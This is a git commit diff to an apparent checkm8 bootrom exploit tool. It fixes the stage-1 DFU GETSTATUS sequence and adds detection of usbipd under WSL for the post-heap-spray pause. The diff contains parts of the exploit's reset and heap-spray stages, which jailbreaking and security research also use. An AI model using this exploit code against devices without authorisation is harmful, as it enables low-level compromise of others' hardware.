fix(checkm8): one GETSTATUS per manifest state; detect usbipd by kernel marker
The stage-1 rewrite polled each manifest state up to ten times. Every GETSTATUS advances the device state machine, so a repeat request for a state that already passed reads the next one and the sequence desynchronises; the reference issues exactly three requests, one per state. Drop the retry loop and send one request per state. Both usbipd gates looked only at WSL_DISTRO_NAME, which sudo drops with env_reset -- the way most of the reports run the tool. Read /proc/version as well, which keeps a marker that survives sudo, and reuse the same helper for the post-spray pause.
This commit is contained in:
parent
00e1823dc5
commit
251b2df39c
2 changed files with 100 additions and 38 deletions
|
|
@ -4,6 +4,7 @@
|
||||||
* Gaster typically converges in a handful of iterations; 100 is generous. */
|
* Gaster typically converges in a handful of iterations; 100 is generous. */
|
||||||
#define MAX_STALL_RETRIES 100
|
#define MAX_STALL_RETRIES 100
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
@ -179,6 +180,35 @@ int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx)
|
||||||
/* Stage 3: Heap spray */
|
/* Stage 3: Heap spray */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* usbipd_present -- true when the device is reached through usbipd.
|
||||||
|
*
|
||||||
|
* WSL_DISTRO_NAME alone is not enough: sudo resets the environment by
|
||||||
|
* default, so the variable disappears exactly when the tool is run the
|
||||||
|
* way most of the reports run it. /proc/version keeps a marker that
|
||||||
|
* survives sudo.
|
||||||
|
*/
|
||||||
|
static int usbipd_present(void)
|
||||||
|
{
|
||||||
|
FILE *f;
|
||||||
|
char buf[256];
|
||||||
|
size_t n;
|
||||||
|
|
||||||
|
if (getenv("WSL_DISTRO_NAME") != NULL)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
f = fopen("/proc/version", "r");
|
||||||
|
if (!f)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
n = fread(buf, 1, sizeof(buf) - 1, f);
|
||||||
|
fclose(f);
|
||||||
|
buf[n] = '\0';
|
||||||
|
|
||||||
|
return strstr(buf, "microsoft") != NULL ||
|
||||||
|
strstr(buf, "Microsoft") != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
int checkm8_stage_spray(exploit_ctx_t *ctx)
|
int checkm8_stage_spray(exploit_ctx_t *ctx)
|
||||||
{
|
{
|
||||||
libusb_device_handle *usb;
|
libusb_device_handle *usb;
|
||||||
|
|
@ -287,26 +317,16 @@ int checkm8_stage_spray(exploit_ctx_t *ctx)
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* On usbipd-win, GET_DESCRIPTOR spray requests are sent with
|
* The delay is only required on usbipd-win, which is the setup that
|
||||||
* very short timeouts (1ms). The device allocates response
|
* motivated it: the vhci layer adds latency and the buffers are
|
||||||
* buffers that are only freed after its own internal USB timeout
|
* freed late. On a native host the reference implementation goes
|
||||||
* fires (~50-200ms per buffer). If stage 4 starts immediately,
|
* straight from the spray to the overwrite, and the idle second is
|
||||||
* those buffers still occupy the heap and the DFU_DNLOAD
|
* a window in which the device can leave dfuIDLE on its own. When
|
||||||
* io_buffer cannot land at insecure_memory_base.
|
* that happens the next control transfer returns NO_DEVICE (-4) and
|
||||||
*
|
* the sequence fails at stage 4.
|
||||||
* Wait 1 second to ensure all spray buffers are freed by the
|
|
||||||
* device before stage 4's DFU_DNLOAD allocation.
|
|
||||||
*
|
|
||||||
* This delay is only required on usbipd-win, which is the setup
|
|
||||||
* that motivated it: the vhci layer adds latency and the buffers
|
|
||||||
* are freed late. On a native host the reference implementation
|
|
||||||
* goes straight from the spray to the overwrite, and the idle
|
|
||||||
* second is a window in which the device can leave dfuIDLE on its
|
|
||||||
* own. When that happens the next control transfer returns
|
|
||||||
* NO_DEVICE (-4) and the sequence fails at stage 4.
|
|
||||||
*/
|
*/
|
||||||
if (getenv("WSL_DISTRO_NAME") != NULL)
|
if (usbipd_present())
|
||||||
usleep(1000000); /* 1 s -- usbipd-win only */
|
usleep(1000000); /* 1 s -- usbipd only */
|
||||||
|
|
||||||
ctx->phase = EXPLOIT_PHASE_SPRAY;
|
ctx->phase = EXPLOIT_PHASE_SPRAY;
|
||||||
log_info("checkm8: stage 3 complete -- heap spray done");
|
log_info("checkm8: stage 3 complete -- heap spray done");
|
||||||
|
|
|
||||||
|
|
@ -4,6 +4,7 @@
|
||||||
* Gaster typically succeeds within 5-10 attempts; 50 is generous. */
|
* Gaster typically succeeds within 5-10 attempts; 50 is generous. */
|
||||||
#define MAX_SETUP_RETRIES 50
|
#define MAX_SETUP_RETRIES 50
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
|
|
@ -275,12 +276,37 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev,
|
||||||
/*
|
/*
|
||||||
* Stage 1 helpers.
|
* Stage 1 helpers.
|
||||||
*
|
*
|
||||||
* DFU state/request constants live in dfu_proto.h; the retry count and
|
* DFU request/state constants live in dfu_proto.h.
|
||||||
* settle delay mirror the DFU_MAX_RETRIES / RESET_IDLE_RETRY_DELAY_USEC
|
|
||||||
* locals of dfu_proto.c, which are not exported.
|
|
||||||
*/
|
*/
|
||||||
#define STAGE1_MANIFEST_RETRIES 10
|
|
||||||
#define STAGE1_MANIFEST_DELAY_USEC 20000
|
/*
|
||||||
|
* usbipd_present -- true when the device is reached through usbipd.
|
||||||
|
*
|
||||||
|
* WSL_DISTRO_NAME alone is not enough: sudo resets the environment by
|
||||||
|
* default, so the variable disappears exactly when the tool is run the
|
||||||
|
* way most of the reports run it. /proc/version keeps a marker that
|
||||||
|
* survives sudo.
|
||||||
|
*/
|
||||||
|
static int usbipd_present(void)
|
||||||
|
{
|
||||||
|
FILE *f;
|
||||||
|
char buf[256];
|
||||||
|
size_t n;
|
||||||
|
|
||||||
|
if (getenv("WSL_DISTRO_NAME") != NULL)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
f = fopen("/proc/version", "r");
|
||||||
|
if (!f)
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
n = fread(buf, 1, sizeof(buf) - 1, f);
|
||||||
|
fclose(f);
|
||||||
|
buf[n] = '\0';
|
||||||
|
|
||||||
|
return strstr(buf, "microsoft") != NULL ||
|
||||||
|
strstr(buf, "Microsoft") != NULL;
|
||||||
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* stage1_dnload_exact -- DFU_DNLOAD with an exact-length check.
|
* stage1_dnload_exact -- DFU_DNLOAD with an exact-length check.
|
||||||
|
|
@ -320,24 +346,40 @@ static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len)
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* dfu_wait_state -- poll GETSTATUS until the device reports the given
|
* dfu_check_state -- one GETSTATUS, compared against the expected state.
|
||||||
* state with DFU_STATUS_OK, mirroring gaster's dfu_check_status.
|
*
|
||||||
|
* gaster issues exactly three GETSTATUS requests here, one per state of
|
||||||
|
* the manifest cycle. Polling for more is not harmless: each GETSTATUS
|
||||||
|
* advances the device's state machine, so a repeat request for a state
|
||||||
|
* that already passed reads the next one and the sequence desynchronises.
|
||||||
|
*
|
||||||
|
* The one tolerated failure is the usbipd case, consistent with
|
||||||
|
* dfu_reset_to_idle(): that transport can expose a device that answers
|
||||||
|
* everything except GETSTATUS, and failing the stage there would trade
|
||||||
|
* one transport bug for another.
|
||||||
*/
|
*/
|
||||||
static int dfu_wait_state(libusb_device_handle *usb, uint8_t state)
|
static int dfu_check_state(libusb_device_handle *usb, uint8_t state)
|
||||||
{
|
{
|
||||||
dfu_status_t st;
|
dfu_status_t st;
|
||||||
int attempt;
|
|
||||||
|
|
||||||
for (attempt = 0; attempt < STAGE1_MANIFEST_RETRIES; ++attempt) {
|
if (dfu_get_status(usb, &st) != 0) {
|
||||||
if (dfu_get_status(usb, &st) == 0 &&
|
if (usbipd_present()) {
|
||||||
st.bStatus == DFU_STATUS_OK && st.bState == state)
|
log_warn("dfu_check_state: GETSTATUS failed on usbipd -- "
|
||||||
|
"assuming state 0x%02X was reached", state);
|
||||||
return 0;
|
return 0;
|
||||||
usleep(STAGE1_MANIFEST_DELAY_USEC);
|
}
|
||||||
|
log_error("dfu_check_state: GETSTATUS failed while waiting for "
|
||||||
|
"state 0x%02X", state);
|
||||||
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
log_error("dfu_wait_state: device never reached state 0x%02X "
|
if (st.bStatus != DFU_STATUS_OK || st.bState != state) {
|
||||||
"(last 0x%02X)", state, st.bState);
|
log_error("dfu_check_state: expected state 0x%02X with status OK, "
|
||||||
return -1;
|
"got 0x%02X/0x%02X", state, st.bState, st.bStatus);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int checkm8_stage_reset(exploit_ctx_t *ctx)
|
int checkm8_stage_reset(exploit_ctx_t *ctx)
|
||||||
|
|
@ -374,9 +416,9 @@ int checkm8_stage_reset(exploit_ctx_t *ctx)
|
||||||
if (stage1_dnload_exact(usb, 0) != 0)
|
if (stage1_dnload_exact(usb, 0) != 0)
|
||||||
goto fail;
|
goto fail;
|
||||||
|
|
||||||
if (dfu_wait_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 ||
|
if (dfu_check_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 ||
|
||||||
dfu_wait_state(usb, DFU_STATE_MANIFEST) != 0 ||
|
dfu_check_state(usb, DFU_STATE_MANIFEST) != 0 ||
|
||||||
dfu_wait_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0)
|
dfu_check_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0)
|
||||||
goto fail;
|
goto fail;
|
||||||
|
|
||||||
if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0)
|
if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0)
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue